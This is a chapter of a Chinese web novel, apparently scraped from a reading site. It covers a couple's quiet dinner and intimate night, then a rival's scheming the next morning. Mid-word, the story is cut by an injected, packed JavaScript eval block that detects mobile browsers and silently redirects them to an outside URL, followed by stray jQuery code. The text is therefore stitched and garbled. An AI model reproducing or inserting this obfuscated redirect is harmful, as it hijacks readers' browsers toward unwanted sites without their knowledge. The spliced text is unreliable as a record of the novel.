乔知栀点了点头:“嗯。”
“时候不早了,先吃饭。”
沈墨拉着她的手,走进屋子里。
桌上摆满了吃的,红烧肉、清炒时蔬、蛋花汤,两菜一汤,热腾腾地冒着热气。
小白蹲在桌边急得直叫,被乔知栀喂了一块瘦肉才消停。
吃完饭。
沈墨去洗碗,乔知栀抱着小白在院子里消食。
月亮从东边升起来,挂在树梢头上,又圆又亮。
小白趴在她怀里,被她揉得眯起了眼睛,发出细细的呼噜声。
沈墨洗完碗出来,在她旁边坐下,伸手把小白接过去放在地上。
小白不乐意了,用小爪子扒拉他的裤腿,扒拉了两下没人理,悻悻地爬回自己的小木屋,把小脑袋埋进爪子里。
“还在想面饼厂的事?”沈墨问。
“嗯。”乔知栀靠在他肩膀上,“你说赵怀远能查到吗?”
“能。他手里的人不弱。”
沈墨把她往怀里拢了拢。
“别想了,先洗澡,水烧好了。”
乔知栀洗完澡,换了一身干净的里衣,从屏风后面出来。
沈墨已经把水换了,自己也在洗。
她没等他,先钻进被窝,把小白白天落在枕头上的几根****捡起来,放在床头的小盒子里。
粉色的帐子放下来,月光从窗户缝里漏进来,被绵绸滤成柔柔的光,笼着整张床。
沈墨洗完进来,吹灭了油灯,在她身边躺下。
乔知栀翻了个身,把脸埋进他胸口,手搭在他腰上。
“沈墨。”
“嗯。”
“你说她为什么非盯着你不放?京城那么多公子哥儿,她嫁谁不好?”
沈墨低头看着她,月光落在他脸上,瑞凤眼里映着银白色的光。
“不知道,也不想知道。”
“现在不是说这个的时候,时候不早了。”
乔知栀把脸又埋进他胸口。
沈墨的手从她背上滑到腰侧,掌心贴着她的腰,隔着薄薄的里衣,温温热热的。
她的身体微微绷了一下,又软了下来。
“知栀。”
“嗯。”
沈墨的手从她腰侧滑进去,指腹粗糙,带着薄茧,在她腰间的皮肤上慢慢摩挲,像在抚摸一件珍贵的瓷器。
乔知栀的呼吸变得急促,手指攥着他的衣襟,攥得紧紧的。
沈墨翻身,把她压在枕头上。
月光从帐子外面透进来,落在两个人身上。
他低头看着她,目光沉沉的,暗潮涌动,但动作很轻很慢。
他吻住她的唇。
不像平时那样带着压抑的渴望,很轻很柔,他的唇贴着她的唇,轻轻蹭了一下,又蹭了一下,然后慢慢含住她的下唇,细细地吻着。
乔知栀闭上眼睛,手从他衣襟滑上去,环住他的脖子。
他的气息包裹着她,干干净净,带着皂角的清香和一点点柴火的味道。
吻了很久。
沈墨的唇从她唇上滑开,滑到下颌,从下颌滑到耳垂。
他含住她的耳垂,轻轻咬了一下,又松开。
乔知栀浑身一颤,像被电击了一样,酥麻的感觉从耳垂蔓延到四肢百骸。
“沈墨……”
她喊他的名字,声音软得像水。
沈墨没应,唇从她耳垂滑到脖颈,从脖颈滑到锁骨,细细碎碎。
像春雨落在湖面上,漾开一圈一圈的涟漪。
帐子在月光里轻轻晃动。
樟木床发出细微的声响,一下一下的,和着她的心跳,和他的呼吸。
窗外的月亮悄悄躲进了云层里,院子里竹叶沙沙地响,像是在说什么悄悄话。
小白在小木屋里翻了个身,“唧”了一声,把脸埋进爪子里,继续睡。
不知道过了多久,一切都安静下来。
乔知栀窝在沈墨怀里,脸红得像煮熟的虾子,额前的碎发被汗湿了,贴在脸上。
沈墨伸手帮她拨开,指腹在她脸颊上轻轻摩挲。
“累了?”
“嗯。”
乔知栀闷闷地应了一声,把脸埋进他胸口,声音闷闷的。
“你每次都问,每次都一样。”
沈墨低低笑了一声,把她往怀里拢了拢。
夜深。
月光重新从云层后面露出来,落在两个人身上,把他们的影子投在墙上,交叠在一起,分不清谁是谁的。
小白在小木屋里又翻了个身,四脚朝天,肚皮一起一伏的。
老母鸡在鸡窝里咕咕叫了两声。
乔知栀闭上眼睛,沈墨的心跳在她耳边一下一下的,很稳,很安心。
第二天一早。
乔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581234|205117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知婉下楼的时候,乔知安已经在客栈大堂里吃早饭。
桌上摆了一桌子。
包子、油条、稀饭、小菜,乔知安吃得满嘴流油。
接连失败,乔知婉心里烦躁,看到这一幕。
乔知婉在乔知安对面坐下,端起粥碗喝了一口,不满道。
“哥哥,你倒是心宽。”
乔知安咽下嘴里的包子,含混不清地说。
“那怎么办?你又不让我去砸店,又不让我去烧厂,我总不能干坐着吧?”
乔知婉放下粥碗,看着他那副没心没肺的样子,心里一阵烦躁。
前世她嫁了个纨绔,受了一辈子气。
这一世她以为自己能抓住沈墨,结果处处碰壁。
乔知栀变了,沈墨也变了,平安镇也变了,一切都不一样了。
“不行就直接用乔家的名义,给沈墨弄个休夫书呗?”
乔知安见乔知婉烦躁,不满的嘟囔了一声。
“乔家出面,替乔知栀写休夫书,沈墨是罪臣,乔家是相府,压他一头,他不敢不从。”
乔知婉眉头一皱,回道。
“要是这么容易就好了。”
“大昭的律法,除非乔知栀和沈墨本人,休妻、休夫或者和离,即便是亲生父母,也不能代劳。你弄个休夫书,沈墨不认,就是废纸一张。”
“那怎么办?总不能一直待在平安镇。”
乔知安把最后一个包子塞进嘴里,含混不清地说。
“再有半年你可要嫁人了,得提前回去筹备婚事,不能一直在平安镇耽搁。”
听到“婚事”两个字,乔知婉的脸色一下子沉了下来。
她想起前世那个男人,**样样精通,左一个美妾右一个外室,她受了一辈子气,最后郁郁而终。
乔知婉心里更加烦躁!
这辈子她绝对不要再嫁给那个人!
“别说了!我心里有数。”
乔知婉的声音冷了下来。
乔知安看她脸色不对,识趣地闭了嘴,端起粥碗继续喝。
乔知婉靠在椅背上,闭着眼睛,脑子里飞快地转。
乔知安指望不上,沈墨那边软硬不吃,乔知栀那边铜墙铁壁。
她需要帮手。
电光火石之间,乔知婉想到了一个人。
屠香香。
前世,沈墨和屠香香才是一对。